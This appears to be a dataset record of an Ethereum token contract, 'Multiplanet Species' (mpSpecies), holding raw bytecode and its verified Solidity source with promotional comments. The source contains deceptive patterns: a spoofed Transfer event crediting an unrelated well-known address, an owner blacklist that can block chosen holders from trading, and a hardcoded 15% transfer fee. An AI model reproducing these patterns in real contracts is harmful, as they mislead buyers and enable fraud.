0152602081019050610527565b50505050905090810190601f16801561056f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058957600080fd5b506105c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611685565b604051808215151515815260200191505060405180910390f35b3480156105ee57600080fd5b5061062d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118a5565b604051808215151515815260200191505060405180910390f35b34801561065357600080fd5b50610688600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aa1565b604051808781526020018681526020018581526020018481526020018381526020018260028111156106b657fe5b60ff168152602001965050505050505060405180910390f35b3480156106db57600080fd5b50610730600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aea565b6040518082815260200191505060405180910390f35b34801561075257600080fd5b50610787600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b71565b005b34801561079557600080fd5b506107f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611bd9565b604051808215151515815260200191505060405180910390f35b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108a25780601f10610877576101008083540402835291602001916108a2565b820191906000526020600020905b81548152906001019060200180831161088557829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109f557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a8057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610abc57600080fd5b610b0d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7182600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050610dd381600101548260000154611d9090919063ffffffff16565b421015610de35760009150610e58565b610dfe81600201548260000154611d9090919063ffffffff16565b42101515610e125780600301549150610e58565b610e558160020154610e47610e34846000015442611d7790919063ffffffff16565b8460030154611dac90919063ffffffff16565b611de490919063ffffffff16565b91505b50919050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610f70576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611004565b610f838382611d7790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561119457600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561129c57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600160028111156112ea57fe5b8160050160009054906101000a900460ff16600281111561130757fe5b14151561131357600080fd5b60028160050160006101000a81548160ff0219169083600281111561133457fe5b02179055508273ffffffffffffffffffffffffffffffffffffffff167f9f77920c3de8baaa98d273e8aa75fae382aaa9f7f60f38979137853e5b73ea2c60405160405180910390a26001915050919050565b600080600080339250600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150600160028111156113dd57fe5b8260050160009054906101000a900460ff1660028111156113fa57fe5b14151561140657600080fd5b611425826004015461141785610d74565b611d7790919063ffffffff16565b905060008111151561143657600080fd5b61144d818360040154611d9090919063ffffffff16565b826004018190555061146a81600154611d9090919063ffffffff16565b6001819055506114c1816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167ff6334794522b9db534a812aaae1af828a2e96aac68473b58e36d7d0bfd67477b826040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36001935050505090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561167d5780601f106116525761010080835404028352916020019161167d565b820191906000526020600020905b81548152906001019060200180831161166057829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116d457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561171057600080fd5b611761826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061193682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60046020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050160009054906101000a900460ff16905086565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bcd57600080fd5b611bd681611dfa565b50565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c3857600080fd5b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060006002811115611c8657fe5b8160050160009054906101000a900460ff166002811115611ca357fe5b141515611caf57600080fd5b8581600001819055508481600101819055508381600201819055508281600301819055506000816004018190555060018160050160006101000a81548160ff02191690836002811115611cfe57fe5b02179055508673ffffffffffffffffffffffffffffffffffffffff167f94c792774c59479f7bd68442f3af3691c02123a5aabee8b6f9116d8af8aa6669878787876040518085815260200184815260200183815260200182815260200194505050505060405180910390a2600191505095945050505050565b6000828211151515611d8557fe5b818303905092915050565b60008183019050828110151515611da357fe5b80905092915050565b600080831415611dbf5760009050611dde565b8183029050818382811515611dd057fe5b04141515611dda57fe5b8090505b92915050565b60008183811515611df157fe5b04905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611e3657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820c1818c19ef029b9a22cdabc528b9c2878253977308890395c0e96fffeda14bb90029
{"success": true, "error": null, "results": {}}
3,625
0xa6ffa694201d1094ec52430aec157afea1183b58
/** *Submitted for verification at Etherscan.io on 2021-06-03 */ /* https://twitter.com/elonmusk/status/1390387635961610242?s=20 Everybody wants to live on another planet too. This is the token that supports the multiplanet species which people could buy, hodl and use when they will need to go another planet. https://t.me/multiplanetspecie Multiplanet Species 🅼🅿🆂🅿🅴🅲🅸🅴🆂 ╔═╗╔═╗──╔╗╔╗────╔╗─────────╔╗─╔═══╗ ║║╚╝║║──║╠╝╚╗───║║────────╔╝╚╗║╔═╗║ ║╔╗╔╗╠╗╔╣╠╗╔╬╦══╣║╔══╦═╗╔═╩╗╔╝║╚══╦══╦══╦══╦╦══╦══╗ ║║║║║║║║║║║║╠╣╔╗║║║╔╗║╔╗╣║═╣║─╚══╗║╔╗║║═╣╔═╬╣║═╣══╣ ║║║║║║╚╝║╚╣╚╣║╚╝║╚╣╔╗║║║║║═╣╚╗║╚═╝║╚╝║║═╣╚═╣║║═╬══║ ╚╝╚╝╚╩══╩═╩═╩╣╔═╩═╩╝╚╩╝╚╩══╩═╝╚═══╣╔═╩══╩══╩╩══╩══╝ ─────────────║║───────────────────║║ ─────────────╚╝───────────────────╚╝ //Limit Buy yes //Cooldown yes //Liqudity Locked //Ownership renounced //CG, CMC listing: Ongoing //Website: TBA */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract mpSpecies is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Multiplanet Species"; string private constant _symbol = "mpSpecies \xF0\x9F\x91\xAE"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4.25e9 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280601381526020017f4d756c7469706c616e6574205370656369657300000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f6d705370656369657320f09f91ae000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d30576000